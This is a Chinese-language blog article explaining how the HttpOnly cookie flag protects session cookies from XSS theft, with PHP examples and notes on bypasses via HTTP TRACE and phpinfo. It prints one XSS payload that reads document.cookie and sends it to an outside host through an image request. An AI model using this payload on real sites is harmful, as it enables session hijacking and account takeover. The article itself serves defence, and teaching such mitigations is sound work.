利用Httponly提升web應用程序安全性

發布時間: 2011-09-14 14:31  閱讀: 23355 次  推薦: 3   [收藏]  

  隨著www服務的興起,越來越多的應用程序轉向了B/S結構,這樣只需要一個瀏覽器就可以訪問各種各樣的web服務,但是這樣也越來越導致了越來越多的web安全問題。www服務依賴于Http協議實現,Http是無狀態的協議,所以為了在各個會話之間傳遞信息,就不可避免地用到Cookie或者Session等技術來標記訪問者的狀態,而無論是Cookie還是Session,一般都是利用Cookie來實現的(Session其實是在瀏覽器的Cookie里帶了一個Token來標記,服務器取得了這個Token并且檢查合法性之后就把服務器上存儲的對應的狀態和瀏覽器綁定),這樣就不可避免地安全聚焦到了Cookie上面,只要獲得這個Cookie,就可以取得別人的身份,這對于入侵者是一件很美妙的事情,特別當獲得的Cookie屬于管理員等高權限身份者時,危害就更大了。在各種web安全問題里,其中xss漏洞就因此顯得格外危險。

  對于應用程序來說,一旦存在了xss漏洞就意味著別人可以在你的瀏覽器中執行任意的js腳本,如果應用程序是開源的或者功能是公開的話,別人就可以利用ajax使用這些功能,但是過程往往很煩瑣,特別是想直接獲得別人身份做隨意瀏覽的話困難就更大。而對于不開源的應用程序,譬如某些大型站點的web后臺(web2.0一個顯著的特征就是大量的交互,用戶往往需要跟后臺的管理員交互,譬如Bug匯報,或者信息投遞等等),盡管因為交互的存在可能存在跨站腳本漏洞,但是因為對后臺的不了解,無法構造完美的ajax代碼來利用,即使可以用js取得后臺的代碼并回傳分析,但是過程同樣煩瑣而且不隱蔽。這個時候,利用xss漏洞獲得Cookie或者Session劫持就很有效了,具體分析應用程序的認證,然后使用某些技巧,甚至可以即使對方退出程序也一樣永久性獲得對方的身份。

  那么如何獲得Cookie或者Session劫持呢?在瀏覽器中的document對象中,就儲存了Cookie的信息,而利用js可以把這里面的Cookie給取出來,只要得到這個Cookie就可以擁有別人的身份了。一個很典型的xss攻擊語句如下:

  xss exp:
  url
=document.top.location.href;
  cookie
=document.cookie;
  c
=new Image();
  c.src
=’http://www.loveshell.net/c.php?c=’+cookie+’&u=’+url;

  一些應用程序考慮到這個問題所在,所以可能會采取瀏覽器綁定技術,譬如將Cookie和瀏覽器的User-agent綁定,一旦發現修改就認為Cookie失效。這種方法已經證明是無效的,因為當入侵者偷得Cookie的同時他肯定已經同時獲得了User-agent。還有另外一種比較嚴格的是將Cookie和Remote-addr相綁定(其實就是和IP綁定,但是一些程序取得IP的方法有問題一樣導致饒過),但是這樣就帶來很差的用戶體驗,更換IP是經常的事,譬如上班與家里就是2個IP,所以這種方法往往也不給予采用。所以基于Cookie的攻擊方式現在就非常流行,在一些web 2.0站點很容易就取到應用程序的管理員身份。

  如何保障我們的敏感Cookie安全呢?通過上面的分析,一般的Cookie都是從document對象中獲得的,我們只要讓敏感Cookies瀏覽器document中不可見就行了。很幸運,現在瀏覽器在設置Cookie的時候一般都接受一個叫做HttpOnly的參數,跟domain等其他參數一樣,一旦這個HttpOnly被設置,你在瀏覽器的document對象中就看不到Cookie了,而瀏覽器在瀏覽的時候不受任何影響,因為Cookie會被放在瀏覽器頭中發送出去(包括ajax的時候),應用程序也一般不會在js里操作這些敏感Cookie的,對于一些敏感的Cookie我們采用HttpOnly,對于一些需要在應用程序中用js操作的cookie我們就不予設置,這樣就保障了Cookie信息的安全也保證了應用。關于HttpOnly說明可以參照 http://msdn2.microsoft.com/en-us/library/ms533046.aspx

  給瀏覽器設置Cookie的頭如下:

  Set-Cookie: =[; =]
  [; expires
=][; domain=]
  [; path
=][; secure][; HttpOnly]

  以php為例,在php 5.2版本時就已經在Setcookie函數加入了對HttpOnly的支持,譬如:

   setcookie("abc","test",NULL,NULL,NULL,NULL,TRUE);

  就可以設置abc這個cookie,將其設置為HttpOnly,document將不可見這個Cookie。因為setcookie函數本質就是個header,所以一樣可以使用header來設置HttpOnly。然后再使用document.cookie就可以看到已經取不到這個Cookie了。我們用這種方法來保護利例如Sessionid,如一些用于認證的auth-cookie,就不用擔心身份被人獲得了,這對于一些后臺程序和webmail提升安全性的意義是重大的。再次使用上面的攻擊手法時可以看到,已經不能獲取被我們設置為HttpOnly的敏感Cookie了。

  但是,也可以看到HttpOnly并不是萬能的,首先它并不能解決xss的問題,仍然不能抵制一些有耐心的黑客的攻擊,也不能防止入侵者做ajax提交,甚至一些基于xss的proxy也出現了,但是已經可以提高攻擊的門檻了,起碼xss攻擊不是每個腳本小子都能完成的了,而且其他的那些攻擊手法因為一些環境和技術的限制,并不像Cookie竊取這種手法一樣通用。

  HttpOnly也是可能利用一些漏洞或者配置Bypass的,關鍵問題是只要能取到瀏覽器發送的Cookie頭就可以了。譬如以前出現的Http Trace攻擊就可以將你的Header里的Cookie回顯出來,利用ajax或者flash就可以完成這種攻擊,這種手法也已經在ajax和flash中獲得修補。另外一個關于配置或者應用程序上可能Bypass的顯著例子就是phpinfo,大家知道phpinfo會將瀏覽器發送的http頭回顯出來,其中就包括我們保護的auth信息,而這個頁面經常存在在各種站點上,只要用ajax取phpinfo頁面,取出header頭對應的部分就可以獲得Cookie了。一些應用程序的不完善也可能導致header頭的泄露,這種攻擊方式對于basic驗證保護的頁面一樣可以攻擊。

  HttpOnly在IE 6以上,Firefox較新版本都得到了比較好的支持,并且在如Hotmail等應用程序里都有廣泛的使用,并且已經是取得了比較好的安全效果。

  相關英文文章:HttpOnly

  相關博文:HttpCookie.HttpOnly VS Cookie.HttpOnly?(downmoon原創)

3
0
 
標簽:Httponly
 
 

文章列表

全站熱搜
創作者介紹
創作者 大師兄 的頭像
大師兄

IT工程師數位筆記本

大師兄 發表在 痞客邦 留言(0) 人氣()